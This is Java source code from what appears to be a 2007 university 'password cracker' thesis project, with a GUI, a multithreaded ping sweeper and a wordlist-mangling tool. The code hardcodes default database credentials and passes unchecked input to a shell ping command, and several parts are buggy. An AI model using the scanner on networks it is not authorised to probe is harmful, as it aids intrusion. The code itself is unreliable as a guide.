import java.awt.*; import javax.swing.*; public class Msg extends Frame { private ImageIcon fondo; private JLabel dibujo; private Button ok; public Msg(String s,String linea1, String linea2,String linea3,String linea4) { super(s); ok= new Button("OK"); fondo = new ImageIcon(linea1); dibujo = new JLabel(fondo); setLayout(new BorderLayout()); setBackground( Color.orange); Panel p1 = new Panel(); Panel p2= new Panel(); p1.setLayout(new BorderLayout()); p1.add("North",new JLabel(linea2,JLabel.CENTER)); p1.add("Center",new JLabel(linea3,JLabel.CENTER)); p1.add("South",new JLabel(linea4,JLabel.CENTER)); p2.add("South",ok); add("Center",p1); add("South",p2); add("North", dibujo); setLocation(410, 110); setResizable(false); pack(); show(); } public boolean handleEvent(Event evt) { if (evt.id==Event.WINDOW_DESTROY) { hide(); dispose(); } return super.handleEvent(evt); } public boolean action(Event e, Object o) { if( e.target== ok) {
182
hide(); dispose(); } return true; } }
Fecha.java
import java.util.Date; import javax.swing.JLabel; public class Fecha { private JLabel fecha; public Fecha(JLabel jlabel) { fecha = jlabel; inicio(); } public Fecha(){ } String mes(int i) { switch(i) { case 0: // '\0' return "Enero"; case 1: // '\001' return "Febrero"; case 2: // '\002' return "Marzo"; case 3: // '\003' return "Abril"; case 4: // '\004' return "Mayo"; case 5: // '\005' return "Junio"; case 6: // '\006' return "Julio"; case 7: // '\007' return "Agosto"; case 8: // '\b' return "Septiembre"; case 9: // '\t' return "Octubre"; case 10: // '\n' return "Noviembre"; } return "Diciembre"; }
183
public String dia(int i) { switch(i) { case 0: // '\0' return "Domingo"; case 1: // '\001' return "Lunes"; case 2: // '\002' return "Martes"; case 3: // '\003' return "Miercoles"; case 4: // '\004' return "Jueves"; case 5: // '\005' return "Viernes"; } return "Sabado"; } public void inicio() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getDate(); int k = date.getDay(); fecha.setText(dia(date.getDay()) + " " + Integer.toString(j) + " de " + mes(date.getMonth()) + " del " + Integer.toString(i)); } public String getFecha() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getMonth() + 1; int k = date.getDate(); return Integer.toString(k)+"/"+Integer.toString(j)+"/"+Integer.toString(i); } public static void main (String args[]) { Fecha asno = new Fecha(); asno.getFecha(); System.out.println(asno); } }
Reloj.java
import java.util.Date; import javax.swing.JLabel; class Reloj extends Thread {
184
private JLabel reloj; public Reloj(JLabel jlabel) { reloj = jlabel; } public Reloj(){ } public static String getHora() { Date date = new Date(); int i = date.getHours(); int j = date.getMinutes(); int k = date.getSeconds(); return Integer.toString(i)+":"+Integer.toString(j)+":"+Integer.toString(k); } public void run() { do { Date date = new Date(); reloj.setText(date.getHours() + ":" + date.getMinutes() + " : " + date.getSeconds()); try { Thread.sleep(1000L); } catch(Exception exception) { } } while(true); } }
Access.java
import java.io.PrintStream; import java.SQL.Connection; import java.SQL.DriverManager; public class ACCESS { static Connection unaConnection =null; public ACCESS() { } public static Connection ObtenerConexion() { try { Class.forName("org.postgreSQL.Driver"); if(unaConnection == null) unaConnection = DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyecto","postgres","postgres");
185
//MUCHO OJO deperndiendo de la base a utilizar, esto puede variar, al inicio se arancan las pruebas con mySQL //fundamental poner arriba el nombre DEL ORIGEN DE DATOS!!!! } catch(Throwable throwable) { System.out.println("ERROR EN LA CONEXION:\n " + throwable); Msg s= new Msg("MENSAJE","x_johncau.gif","Lo sentimos","No se pudo establecer la coneccion","Consulte con el administrador del sistema"); } return unaConnection; } }
Pantalla_principal.java
public pantalla_principal() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); reloj = new javax.swing.JLabel(); fecha = new javax.swing.JLabel(); botonscan = new javax.swing.JButton(); botonestadisticas = new javax.swing.JButton(); botonayuda = new javax.swing.JButton(); botonacercade = new javax.swing.JButton(); botonreportes = new javax.swing.JButton(); botonsalir = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu();
186
reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); setBackground(new java.awt.Color(0, 0, 51)); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); jLabel1.setFont(new java.awt.Font("Serif", 3, 24)); jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Universidad de Guayaquil"); jLabel2.setFont(new java.awt.Font("Serif", 3, 24)); jLabel2.setForeground(new java.awt.Color(0, 0, 204)); jLabel2.setText("Cracker de Passwords Unix Linux"); jLabel3.setFont(new java.awt.Font("Serif", 3, 24)); jLabel3.setForeground(new java.awt.Color(0, 0, 204)); jLabel3.setText("Fedora Core 5.0"); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel5.setFont(new java.awt.Font("Serif", 3, 18)); jLabel5.setForeground(new java.awt.Color(0, 0, 204)); jLabel5.setText("Hecho por CISC 2007"); jLabel6.setFont(new java.awt.Font("Serif", 3, 18)); jLabel6.setForeground(new java.awt.Color(0, 0, 204)); jLabel6.setText("Programa bajo licencia GPL"); reloj.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/BorraAlu.gif")); reloj.setToolTipText("hora"); fecha.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/BorraAlu.gif")); fecha.setToolTipText("fecha"); botonscan.setFont(new java.awt.Font("Arial", 1, 10)); botonscan.setForeground(new java.awt.Color(0, 102, 102)); botonscan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscan.setText("Scan"); botonscan.setToolTipText("scan"); botonscan.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanActionPerformed(evt); } });
187
botonestadisticas.setFont(new java.awt.Font("Arial", 1, 10)); botonestadisticas.setForeground(new java.awt.Color(0, 102, 102)); botonestadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); botonestadisticas.setText("Estad\u00edstica"); botonestadisticas.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonestadisticasActionPerformed(evt); } }); botonayuda.setFont(new java.awt.Font("Arial", 1, 10)); botonayuda.setForeground(new java.awt.Color(0, 102, 102)); botonayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonayuda.setText("Ayuda"); botonayuda.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonayudaActionPerformed(evt); } }); botonacercade.setFont(new java.awt.Font("Arial", 1, 10)); botonacercade.setForeground(new java.awt.Color(0, 102, 102)); botonacercade.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonacercade.setText("Acerca..."); botonacercade.setToolTipText("Creditos"); botonacercade.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonacercadeActionPerformed(evt); } }); botonreportes.setFont(new java.awt.Font("Arial", 1, 10)); botonreportes.setForeground(new java.awt.Color(0, 102, 102)); botonreportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); botonreportes.setText("Reportes"); botonreportes.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonreportesActionPerformed(evt); } }); botonsalir.setFont(new java.awt.Font("Arial", 1, 10)); botonsalir.setForeground(new java.awt.Color(0, 102, 102)); botonsalir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonsalir.setText("Salir"); botonsalir.setToolTipText("Salir"); botonsalir.addActionListener(new java.awt.event.ActionListener() {
188
public void actionPerformed(java.awt.event.ActionEvent evt) { botonsalirActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() {
189
public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF"));
190
ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de_menu.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { acerca_de_menuActionPerformed(evt); } }); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salida.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salidaActionPerformed(evt); } }); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(botonscan, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(botonreportes,
191
org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonayuda, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.TRAILING, botonacercade, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(botonsalir, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(147, 147, 147) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 192, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(135, 135, 135) .add(jLabel3) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 214, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(112, 112, 112) .add(jLabel6)) .add(layout.createSequentialGroup() .add(136, 136, 136) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 221, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(52, 52, 52) .add(reloj) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 204, Short.MAX_VALUE) .add(fecha, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 267, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel2) .add(78, 78, 78)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel1) .add(166, 166, 166))))
192
); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .add(9, 9, 9) .add(jLabel3) .add(9, 9, 9) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(layout.createSequentialGroup() .add(jLabel4) .add(20, 20, 20) .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(reloj) .add(fecha))) .add(layout.createSequentialGroup() .add(botonscan, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonreportes, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonayuda, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonacercade, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonsalir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41,
193
org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap(org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-682)/2, (screenSize.height-477)/2, 682, 477); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir s = new salir(); s.show(); } private void acerca_de_menuActionPerformed(java.awt.event.ActionEvent evt) { creditos e = new creditos(); e.show(); } private void botonscanActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void botonayudaActionPerformed(java.awt.event.ActionEvent evt) { } private void botonestadisticasActionPerformed(java.awt.event.ActionEvent evt) { } private void botonacercadeActionPerformed(java.awt.event.ActionEvent evt) { creditos ss = new creditos(); ss.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) {
194
} private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_principal().setVisible(true); } }); } private Fecha time; private Reloj clock; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton botonacercade; private javax.swing.JButton botonayuda; private javax.swing.JButton botonestadisticas; private javax.swing.JButton botonreportes; private javax.swing.JButton botonsalir; private javax.swing.JButton botonscan; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JLabel fecha; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JLabel reloj; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; }
195
Constants.java
public interface Constants { public static final int PING_PER_THREAD = 10; public static final int MAX_THREAD_COUNT = 100; } import java.io.PrintStream; final class Timer { public Timer() { reset(); } public void start() { System.gc(); start = System.currentTimeMillis(); } public void end() { System.gc(); end = System.currentTimeMillis(); } public long duration() { return end - start; } public void reset() { start = 0L; end = 0L; } public static void main(String s[]) { Timer t = new Timer(); t.start(); for(int i = 0; i < 80; i++) System.out.print("."); t.end(); System.out.println("\n" + t.duration()); } private long start; private long end; }
196
Ping_swep_start.java
import java.io.PrintStream; public class PingSweepStart extends Thread implements Constants { public PingSweepStart(String ip_range_beginnig, String ip_range_end) { total_result = new StringBuffer(); ip_range_beginning = BasicIPTools.find_lesser_address(ip_range_beginnig, ip_range_end); this.ip_range_end = BasicIPTools.find_greater_address(ip_range_beginnig, ip_range_end); thread_count = BasicIPTools.get_required_host_count(ip_range_beginning, this.ip_range_end); calculate_required_thread(); ping_threads = new PingThread[thread_count]; } private void calculate_required_thread() { if(thread_count % 10 != 0) { thread_count /= 10; thread_count++; } else { thread_count /= 10; } } public static void main(String arg[]) throws InterruptedException { PingSweepStart a = new PingSweepStart("10.0.0.1", "10.0.0.45"); a.start(); a.join(); System.out.println("Bitti"); PingSweepStart b = new PingSweepStart("10.0.0.46", "10.0.0.75"); b.start(); b.join(); } public void run() { startSweeping(); do try {
197
sleep(1000L); } catch(InterruptedException e) { e.printStackTrace(); } while(!check_if_sweep_completed()); System.out.print(get_result_of_scan()); } public StringBuffer get_result_of_scan() { return total_result; } private boolean check_if_sweep_completed() { for(int i = 0; i < thread_count - 1; i++) if(ping_threads[i].isAlive()) return false; return true; } private void startSweeping() { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 10); while(i < thread_count) { if(!if_exceeds(start_ip, ip_range_end, 10)) { ping_threads[i] = new PingThread(start_ip, stop_ip, total_result); ping_threads[i].start(); stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 10); i++; continue; } ping_threads[i] = new PingThread(start_ip, ip_range_end, total_result); ping_threads[i].start(); break; } } private boolean if_exceeds(String start_ip, String end_ip, int Step) { String after_addition = BasicIPTools.increase_IP(start_ip, Step); return after_addition.equals(BasicIPTools.find_greater_address(after_addition, end_ip)); }
198
private String ip_range_beginning; private String ip_range_end; private int thread_count; private PingThread ping_threads[]; private StringBuffer total_result; private String cadena_ip_final; }
Pinger.java
import java.io.PrintStream; public class Pinger { public Pinger() { } public static void main(String arg[]) { boolean comprobacion = false; String ip_adres[] = { "192.168.31.1", "192.168.100.100", "10.0.0.3", "10.0.0.4", "10.0.0.5", "10.0.0.6", "127.0.0.1" }; for(int i = 0; i < ip_adres.length; i++) { System.out.print("Direccion IP : " + ip_adres[i] + " "); try { comprobacion = windows_ping(ip_adres[i]); } catch(Exception e) { e.printStackTrace(); } if(comprobacion) System.out.println("Activa..."); else System.out.println("Inactiva!"); } } public static boolean windows_ping(String ip) throws Exception { Process p = Runtime.getRuntime().exec("ping -w 1 -l 8 " + ip); int status = p.waitFor(); return status == 0; } }
199
Genera_palabras.java
import java.io.*; import java.lang.*; public class genera_palabras extends javax.swing.JFrame { public genera_palabras() { initComponents(); } private void initComponents() { jButton1 = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jButton1.setText("GENERA"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(94, 94, 94) .add(jButton1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 186, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap(120, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(139, Short.MAX_VALUE) .add(jButton1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 113, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(48, 48, 48)) ); pack(); }// </editor-fold> private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { try{ BufferedWriter w = new BufferedWriter(new FileWriter("/root/Desktop/salida")); //is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/diccionario_completo")); BufferedReader is = new BufferedReader(new FileReader ("/root/Desktop/diccionario_test"));
200
while (is.ready()) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); //\|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµ·:ª!"·$%&/()=?¿Çº*' aux = aax + "½"; w.newLine(); w.write(aux); } is.close(); w.close(); }catch (IOException e) { Msg a=new Msg("Aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo leer el archivo de diccionarios de palabras","consulte con la ayuda del sistema","gracias..."); System.out.println ("Error al leer el archivo"); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new genera_palabras().setVisible(true); } }); } static String aux=""; static String aax =""; private javax.swing.JButton jButton1; }
Scan_ip_range.java
import java.io.PrintStream; import javax.swing.JOptionPane; public class ScanIPRange implements Constants { public ScanIPRange(){} public ScanIPRange(String ip_range_beginning, String ip_range_end) { this.ip_range_beginning = ip_range_beginning; this.ip_range_end = ip_range_end; loop_count = BasicIPTools.get_required_host_count(this.ip_range_beginning, this.ip_range_end); calculate_required_loop(); }
201
public void empezar(String ip_inicial,String ip_final) throws InterruptedException { first_ip = ip_inicial; last_ip= ip_final; Timer t = new Timer(); t.start(); ScanIPRange a = new ScanIPRange(first_ip, last_ip); a.start_scan(); t.end(); System.out.println("\n\n**************************"); System.out.println("ESCANEO DE IP: " + first_ip + " - " + last_ip); System.out.println("por sistema de hacking de passwords--duracion::\t" + t.duration() + " (ms)"); System.out.println("**************************"); } public void start_scan() throws InterruptedException { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 100); for(; i < loop_count; System.gc()) { PingSweepStart sweep; if(!if_exceeds(start_ip, ip_range_end, 100)) { sweep = new PingSweepStart(start_ip, stop_ip); sweep.start(); sweep.join(); sweep = null; stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 100); i++; continue; } sweep = new PingSweepStart(start_ip, ip_range_end); sweep.start(); sweep.join(); sweep = null; break; } } private boolean if_exceeds(String start_ip, String end_ip, int Step) { String after_addition = BasicIPTools.increase_IP(start_ip, Step); return after_addition.equals(BasicIPTools.find_greater_address(after_addition,
202
end_ip)); } private void calculate_required_loop() { if(loop_count % 100 != 0) { loop_count /= 100; loop_count++; } else { loop_count /= 100; } } static String first_ip=""; static String last_ip=""; public String ip; private String ip_range_beginning; private String ip_range_end; private int loop_count; }
Basic_ip_tools.java
public final class BasicIPTools { public BasicIPTools() { } public static String get_broadcast_address(String ip_address, String subnet_mask) { subnet_mask = not_address(subnet_mask); String network_address = get_network_address(ip_address, subnet_mask); return or_addresses(subnet_mask, network_address); } public static String get_network_address(String ip_address, String subnet_mask) { short numerik_parcalar[] = parseIP(ip_address); short subnet_adres_parcalari[] = parseIP(subnet_mask); for(byte i = 0; i < 4; i++) numerik_parcalar[i] |= subnet_adres_parcalari[i]; return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; }
203
public static int get_required_host_count(String subnet_mask) { short ip_adres_parcalari[] = parseIP(subnet_mask); int sonuc = 1; for(byte i = 0; i < 4; i++) { short numerik_parca = ip_adres_parcalari[i]; if((numerik_parca ^= 0xff) != 0) sonuc *= ++numerik_parca; } return sonuc; } public static int get_required_host_count(String ip_range_beginning, String ip_range_end) { long ip_value_1 = 0L; long ip_value_2 = 0L; String ip_real_beginning = find_lesser_address(ip_range_beginning, ip_range_end); String ip_real_end = find_greater_address(ip_range_beginning, ip_range_end); short ip_1[] = parseIP(ip_real_beginning); short ip_2[] = parseIP(ip_real_end); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return (int)((ip_value_2 - ip_value_1) + 1L); } public static String increase_IP(String ip_address) { short numerik_parcalar[] = parseIP(ip_address); 